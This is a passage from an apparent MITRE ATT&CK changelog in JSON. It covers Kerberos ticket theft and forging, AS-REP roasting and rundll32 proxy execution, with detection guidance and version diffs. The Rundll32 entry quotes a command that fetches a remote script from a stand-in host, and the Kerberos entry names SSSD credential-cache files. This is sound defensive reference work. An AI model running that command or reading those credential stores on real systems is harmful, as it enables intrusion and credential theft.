>ials, such as [Golden Ticket](https://attack.mitre.org/techn>ials, such as [Golden Ticket](https://attack.mitre.org/techn
>iques/T1558/001) ticket-granting tickets (TGT) or NTLM plain>iques/T1558/001) ticket-granting tickets (TGT) or NTLM plain
>text.(Citation: Medium Certified Pre Owned)>text.(Citation: Medium Certified Pre Owned)
", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1041: Encrypt Sensitive Information", + "M1042: Disable or Remove Feature or Program", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0024: Windows Registry (Windows Registry Key Access)", + "DS0026: Active Directory (Active Directory Credential Request)", + "DS0026: Active Directory (Active Directory Object Modification)", + "DS0028: Logon Session (Logon Session Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 19:12:46.830000+00:00", + "modified": "2024-09-17 19:49:11.455000+00:00", + "name": "Steal or Forge Kerberos Tickets", + "description": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1558", + "external_id": "T1558" + }, + { + "source_name": "CERT-EU Golden Ticket Protection", + "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", + "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf" + }, + { + "source_name": "Microsoft Detecting Kerberoasting Feb 2018", + "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.", + "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/" + }, + { + "source_name": "Medium Detecting Attempts to Steal Passwords from Memory", + "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.", + "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea" + }, + { + "source_name": "Stealthbits Detect PtT 2019", + "description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.", + "url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks" + }, + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + }, + { + "source_name": "ADSecurity Detecting Forged Tickets", + "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?p=1515" + }, + { + "source_name": "Microsoft Kerberos Golden Ticket", + "description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.", + "url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285" + }, + { + "source_name": "Microsoft Klist", + "description": "Microsoft. (2021, March 3). klist. Retrieved October 14, 2021.", + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/klist" + }, + { + "source_name": "ADSecurity Kerberos Ring Decoder", + "description": "Sean Metcalf. (2014, September 12). Kerberos, Active Directory\u2019s Secret Decoder Ring. Retrieved February 27, 2020.", + "url": "https://adsecurity.org/?p=227" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Tim (Wadhwa-)Brown", + "Cody Thomas, SpecterOps" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "Logon Session: Logon Session Metadata", + "Active Directory: Active Directory Credential Request", + "File: File Access" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\n\nMonitor for unusual processes accessing\u00a0secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_system_requirements": [ + "Kerberos authentication enabled" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-17 19:49:11.455000+00:00\", \"old_value\": \"2024-03-01 16:58:02.395000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \\u201crealms\\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\\n\\nOn Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\\n\", \"old_value\": \"Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \\u201crealms\\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\\n\\nOn Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\\n\\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \\\"ccache\\\". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)\\n\\n\\nKerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,8 +1,3 @@\\n Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \\u201crealms\\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\\n \\n On Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\\n-\\n-Linux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \\\"ccache\\\". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)\\n-\\n-\\n-Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.6\", \"old_value\": \"1.5\"}}, \"iterable_item_removed\": {\"root['external_references'][3]\": {\"source_name\": \"Kekeo\", \"description\": \"Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021.\", \"url\": \"https://github.com/gentilkiwi/kekeo\"}, \"root['external_references'][4]\": {\"source_name\": \"SpectorOps Bifrost Kerberos macOS 2019\", \"description\": \"Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021.\", \"url\": \"https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f\"}, \"root['external_references'][7]\": {\"source_name\": \"macOS kerberos framework MIT\", \"description\": \"Massachusetts Institute of Technology. (2007, October 27). Kerberos for Macintosh Preferences Documentation. Retrieved October 6, 2021.\", \"url\": \"http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html\"}, \"root['external_references'][8]\": {\"source_name\": \"MIT ccache\", \"description\": \"Massachusetts Institute of Technology. (n.d.). MIT Kerberos Documentation: Credential Cache. Retrieved October 4, 2021.\", \"url\": \"https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html\"}, \"root['external_references'][14]\": {\"source_name\": \"Brining MimiKatz to Unix\", \"description\": \"Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.\", \"url\": \"https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf\"}, \"root['external_references'][15]\": {\"source_name\": \"Linux Kerberos Tickets\", \"description\": \"Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021.\", \"url\": \"https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html\"}}}", + "previous_version": "1.5", + "version_change": "1.5 \u2192 1.6", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may attempt to subvert Kerberos authentication bt1Adversaries may attempt to subvert Kerberos authentication b
>y stealing or forging Kerberos tickets to enable [Pass the T>y stealing or forging Kerberos tickets to enable [Pass the T
>icket](https://attack.mitre.org/techniques/T1550/003). Kerbe>icket](https://attack.mitre.org/techniques/T1550/003). Kerbe
>ros is an authentication protocol widely used in modern Wind>ros is an authentication protocol widely used in modern Wind
>ows domain environments. In Kerberos environments, referred >ows domain environments. In Kerberos environments, referred 
>to as \u201crealms\u201d, there are three basic participants: client, >to as \u201crealms\u201d, there are three basic participants: client, 
>service, and Key Distribution Center (KDC).(Citation: ADSecu>service, and Key Distribution Center (KDC).(Citation: ADSecu
>rity Kerberos Ring Decoder) Clients request access to a serv>rity Kerberos Ring Decoder) Clients request access to a serv
>ice and through the exchange of Kerberos tickets, originatin>ice and through the exchange of Kerberos tickets, originatin
>g from KDC, they are granted access after having successfull>g from KDC, they are granted access after having successfull
>y authenticated. The KDC is responsible for both authenticat>y authenticated. The KDC is responsible for both authenticat
>ion and ticket granting.  Adversaries may attempt to abuse K>ion and ticket granting.  Adversaries may attempt to abuse K
>erberos by stealing tickets or forging tickets to enable una>erberos by stealing tickets or forging tickets to enable una
>uthorized access.  On Windows, the built-in <code>klist</cod>uthorized access.  On Windows, the built-in <code>klist</cod
>e> utility can be used to list and analyze cached Kerberos t>e> utility can be used to list and analyze cached Kerberos t
>ickets.(Citation: Microsoft Klist)  Linux systems on Active >ickets.(Citation: Microsoft Klist) 
>Directory domains store Kerberos credentials locally in the  
>credential cache file referred to as the \"ccache\". The crede 
>ntials are stored in the ccache file while they remain valid 
> and generally while a user's session lasts.(Citation: MIT c 
>cache) On modern Redhat Enterprise Linux systems, and deriva 
>tive distributions, the System Security Services Daemon (SSS 
>D) handles Kerberos tickets. By default SSSD maintains a cop 
>y of the ticket database that can be found in <code>/var/lib 
>/sss/secrets/secrets.ldb</code> as well as the corresponding 
> key located in <code>/var/lib/sss/secrets/.secrets.mkey</co 
>de>. Both files require root access to read. If an adversary 
> is able to access the database and key, the credential cach 
>e Kerberos blob can be extracted and converted into a usable 
> Kerberos ccache file that adversaries may use for [Pass the 
> Ticket](https://attack.mitre.org/techniques/T1550/003). The 
> ccache file may also be converted into a Windows format usi 
>ng tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Ci 
>tation: Brining MimiKatz to Unix)(Citation: Kekeo)   Kerbero 
>s tickets on macOS are stored in a standard ccache format, s 
>imilar to Linux. By default, access to these ccache entries  
>is federated through the KCM daemon process via the Mach RPC 
> protocol, which uses the caller's environment to determine  
>access. The storage location for these ccache entries is inf 
>luenced by the <code>/etc/krb5.conf</code> configuration fil 
>e and the <code>KRB5CCNAME</code> environment variable which 
> can specify to save them to disk or keep them protected via 
> the KCM daemon. Users can interact with ticket storage usin 
>g <code>kinit</code>, <code>klist</code>, <code>ktutil</code 
>>, and <code>kcc</code> built-in binaries or via Apple's nat 
>ive Kerberos framework. Adversaries can use open source tool 
>s to interact with the ccache files directly or to use the K 
>erberos framework to call lower-level APIs for extracting th 
>e user's TGT or Service Tickets.(Citation: SpectorOps Bifros 
>t Kerberos macOS 2019)(Citation: macOS kerberos framework MI 
>T)  
", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1041: Encrypt Sensitive Information", + "M1047: Audit" + ], + "new": [ + "M1043: Credential Access Protection" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0026: Active Directory (Active Directory Credential Request)", + "DS0028: Logon Session (Logon Session Metadata)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-08-24 13:43:00.028000+00:00", + "modified": "2024-10-15 15:32:07.850000+00:00", + "name": "AS-REP Roasting", + "description": "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1558/004", + "external_id": "T1558.004" + }, + { + "source_name": "Microsoft Detecting Kerberoasting Feb 2018", + "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.", + "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/" + }, + { + "source_name": "Harmj0y Roasting AS-REPs Jan 2017", + "description": "HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved September 23, 2024.", + "url": "https://blog.harmj0y.net/activedirectory/roasting-as-reps/" + }, + { + "source_name": "Stealthbits Cracking AS-REP Roasting Jun 2019", + "description": "Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020.", + "url": "https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/" + }, + { + "source_name": "SANS Attacking Kerberos Nov 2014", + "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.", + "url": "https://redsiege.com/kerberoast-slides" + }, + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + }, + { + "source_name": "Microsoft 4768 TGT 2017", + "description": "Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768" + }, + { + "source_name": "Microsoft Kerberos Preauth 2014", + "description": "Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why It Should Not Be Disabled. Retrieved August 25, 2020.", + "url": "https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Yossi Nisani, Cymptom", + "James Dunn, @jamdunnDFW, EY", + "Swapnil Kumbhar", + "Jacques Pluviose, @Jacqueswildy_IT", + "Dan Nutting, @KerberToast" + ], + "x_mitre_data_sources": [ + "Active Directory: Active Directory Credential Request" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_system_requirements": [ + "Valid domain account" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:32:07.850000+00:00\", \"old_value\": \"2021-06-07 19:23:33.039000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved September 23, 2024.\", \"old_value\": \"HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved August 24, 2020.\", \"new_path\": \"root['external_references'][2]['description']\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://blog.harmj0y.net/activedirectory/roasting-as-reps/\", \"old_value\": \"http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/\", \"new_path\": \"root['external_references'][2]['url']\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "changelog_mitigations": { + "shared": [ + "M1027: Password Policies", + "M1041: Encrypt Sensitive Information", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0026: Active Directory (Active Directory Credential Request)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-23 18:03:46.248000+00:00", + "modified": "2024-10-14 13:14:43.083000+00:00", + "name": "Rundll32", + "description": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\n\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1218/011", + "external_id": "T1218.011" + }, + { + "source_name": "rundll32.exe defense evasion", + "description": "Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022.", + "url": "https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/" + }, + { + "source_name": "Attackify Rundll32.exe Obscurity", + "description": "Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.", + "url": "https://www.attackify.com/blog/rundll32_execution_order/" + }, + { + "source_name": "This is Security Command Line Confusion", + "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.", + "url": "https://www.stormshield.com/news/poweliks-command-line-confusion/" + }, + { + "source_name": "Github NoRunDll", + "description": "gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.", + "url": "https://github.com/gtworek/PSBits/tree/master/NoRunDll" + }, + { + "source_name": "Trend Micro CPL", + "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Gareth Phillips, Seek Ltd.", + "Casey Smith", + "Ricardo Dias", + "James_inthe_box, Me" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "File: File Metadata", + "Module: Module Load" + ], + "x_mitre_defense_bypassed": [ + "Digital Certificate Validation", + "Application control", + "Anti-virus" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.\n\nCommand arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 13:14:43.083000+00:00\", \"old_value\": \"2023-08-14 15:35:28.965000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\\n\\nRundll32.exe can also be used to execute [Control 